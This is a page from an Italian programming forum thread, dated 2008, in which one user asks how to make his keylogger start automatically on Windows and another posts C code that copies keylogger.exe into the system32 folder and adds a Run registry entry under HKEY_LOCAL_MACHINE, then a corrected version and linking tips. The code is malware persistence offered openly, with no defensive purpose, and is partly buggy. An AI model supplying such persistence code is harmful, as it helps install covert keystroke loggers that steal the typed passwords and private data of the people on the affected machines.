Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
C/C++ - auto avvio keylogger
Forum - C/C++ - auto avvio keylogger - Pagina 5

Pagine: [ 1 2 3 4 5 6 ] Precedente | Prossimo
Avatar
FHF93 (Ex-Member)
Pro


Messaggi: 132
Iscritto: 13/11/2007

Segnala al moderatore
Postato alle 22:56
Giovedì, 06/03/2008
Testo quotato

Postato originariamente da feddur:

ok, sistemato, nessun errore ma non va in esecuzione atomatica :-\
come fare?



Allora...
fai così

Codice sorgente - presumibilmente C#

  1. //dichiari
  2. char sys32[512];
  3. char path[512];
  4.  
  5. //Prende la cartella di sistema
  6. GetSystemDirectory(sys32, sizeof(sys32));  
  7. //Scrivo in path il percorso della directory
  8. sprintf(path,"%s\\keylogger.exe",sys32);
  9. //Copio il file keylogger.exe nel path
  10. CopyFile("keylogger.exe",cartella, 1);  
  11.  
  12.  
  13. HKEY key_autoavvio;
  14. DWORD key_run;
  15. RegCreateKeyEx(HKEY_LOCAL_MACHINE,autoavvio,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&chiave_autoavvio,&chiave_run);
  16. RegSetValueEx(chiave_autoavvio,"avvia",0,REG_SZ,"C:\\WINDOWS\\system32\\keylogger.exe",512);
  17. RegCloseKey(chiave);



L'ho fatto un pò a memoria vedi se lo capisci prima e se funziona poi

Ultima modifica effettuata da FHF93 il 06/03/2008 alle 22:57
PM Quote
Avatar
feddur (Normal User)
Pro


Messaggi: 200
Iscritto: 06/03/2008

Segnala al moderatore
Postato alle 22:58
Giovedì, 06/03/2008
per capire non l'ho capito tanto.. :-\

vedo se funziona..

PM Quote
Avatar
feddur (Normal User)
Pro


Messaggi: 200
Iscritto: 06/03/2008

Segnala al moderatore
Postato alle 23:01
Giovedì, 06/03/2008
mi da errore..
forse sarebbe meglio trovare un keylogger che abbia già le funzioni che vorrei io (autoavvio e possibilità di scelta della directory del file log.txt) e studiarlo dopo...

PM Quote
Avatar
FHF93 (Ex-Member)
Pro


Messaggi: 132
Iscritto: 13/11/2007

Segnala al moderatore
Postato alle 23:03
Giovedì, 06/03/2008
Scusami ho fatto un pò di confusione

Codice sorgente - presumibilmente C#

  1. //dichiari
  2. char sys32[512];
  3. char path[512];
  4. char autoavvio[]="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
  5.  
  6. //Prende la cartella di sistema
  7. GetSystemDirectory(sys32, sizeof(sys32));  
  8. //Scrivo in path il percorso della directory
  9. sprintf(path,"%s\\keylogger.exe",sys32);
  10. //Copio il file keylogger.exe nel path
  11. CopyFile("keylogger.exe",path, 1);  
  12.  
  13.  
  14. HKEY key_autoavvio;
  15. DWORD key_run;
  16. RegCreateKeyEx(HKEY_LOCAL_MACHINE,autoavvio,0,null,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,null,&key_autoavvio,&key_run);
  17. RegSetValueEx(key_autoavvio,"avvia",0,REG_SZ,"C:\\WINDOWS\\system32\\keylogger.exe",512);
  18. RegCloseKey(key_autoavvio);



Ok ora dovrebbe andare
Ricordati di linkare la libreria windows e la libreria winreg...
Dai uno sguardo al keylogger di Girex che lì c'è l'autoavvio se te lo vuoi imparare come hai detto tu prima

Ultima modifica effettuata da FHF93 il 06/03/2008 alle 23:10
PM Quote
Avatar
feddur (Normal User)
Pro


Messaggi: 200
Iscritto: 06/03/2008

Segnala al moderatore
Postato alle 23:11
Giovedì, 06/03/2008
ancora non mi va....
vi ringrazio tanto per l'attenzione pestata!!

PM Quote
Avatar
feddur (Normal User)
Pro


Messaggi: 200
Iscritto: 06/03/2008

Segnala al moderatore
Postato alle 23:12
Giovedì, 06/03/2008
* prestata

PM Quote
Avatar
feddur (Normal User)
Pro


Messaggi: 200
Iscritto: 06/03/2008

Segnala al moderatore
Postato alle 23:13
Giovedì, 06/03/2008
ho problemi con la libreria..

PM Quote
Avatar
FHF93 (Ex-Member)
Pro


Messaggi: 132
Iscritto: 13/11/2007

Segnala al moderatore
Postato alle 23:16
Giovedì, 06/03/2008
Testo quotato

Postato originariamente da feddur:

ho problemi con la libreria..



All'inizio scrivi

Codice sorgente - presumibilmente Plain Text

  1. #include<windows.h>
  2. #include<winreg.h>



Poi linki la libreria windows ... ora non so che compilatore usi , se usi il Dev vai su Strumenti-->Opzioni di compilazione-->Crocia "Aggiungi i comandi seguenti in fase di compilazione" e come comando metti "-lwinmm"

Poi compili

PM Quote
Pagine: [ 1 2 3 4 5 6 ] Precedente | Prossimo